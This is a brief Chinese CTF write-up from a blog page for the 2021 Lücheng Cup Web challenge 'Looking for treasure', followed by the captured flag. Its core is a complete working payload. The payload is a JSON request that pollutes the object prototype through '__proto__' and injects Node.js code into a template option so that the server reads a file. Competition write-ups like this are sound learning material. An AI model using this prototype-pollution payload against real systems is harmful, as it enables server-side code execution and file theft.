2021年“绿城杯”网络安全大赛-Web-Looking for treasure

"本文详细介绍了2021年'绿城杯'网络安全大赛中名为'Lookingfortreasure'的Web题目。该题目属于中等难度,涉及JSON注入技术,通过提供的payload,参赛者可以获取到flag,其值为'DASCTF{443a3172111bb28cd26f6eae1a90ea1a}
摘要由CSDN通过智能技术生成

2021年“绿城杯”网络安全大赛-Web-Looking for treasure

题目名称:Looking for treasure
题目内容:从中找到宝藏题目分值:200.0
题目难度:中等
相关附件:Looking for treasure的附件6.txt

解题思路:

1.原题直接附上payload

POST /validated/json-schema/validate
Content-Type: application/json
{"$schema":{"type":"object","properties":{"__proto__":{"type":"object","properties":{"outputFunctionName":{"type":"string","default":"x;var buf = Buffer.alloc(128);var fs = process.mainModule.require(`fs`);var fd=fs.openSync(`/fl`+`ag`);fs.readSync(fd, buf, 0, 128);fs.closeSync(fd);return buf.toString();//x"},"path":{"type":"string","default":"/foo"}}}}}}

2.拿到flag

DASCTF{443a3172111bb28cd26f6eae1a90ea1a}

在这里插入图片描述

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

夜白君

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值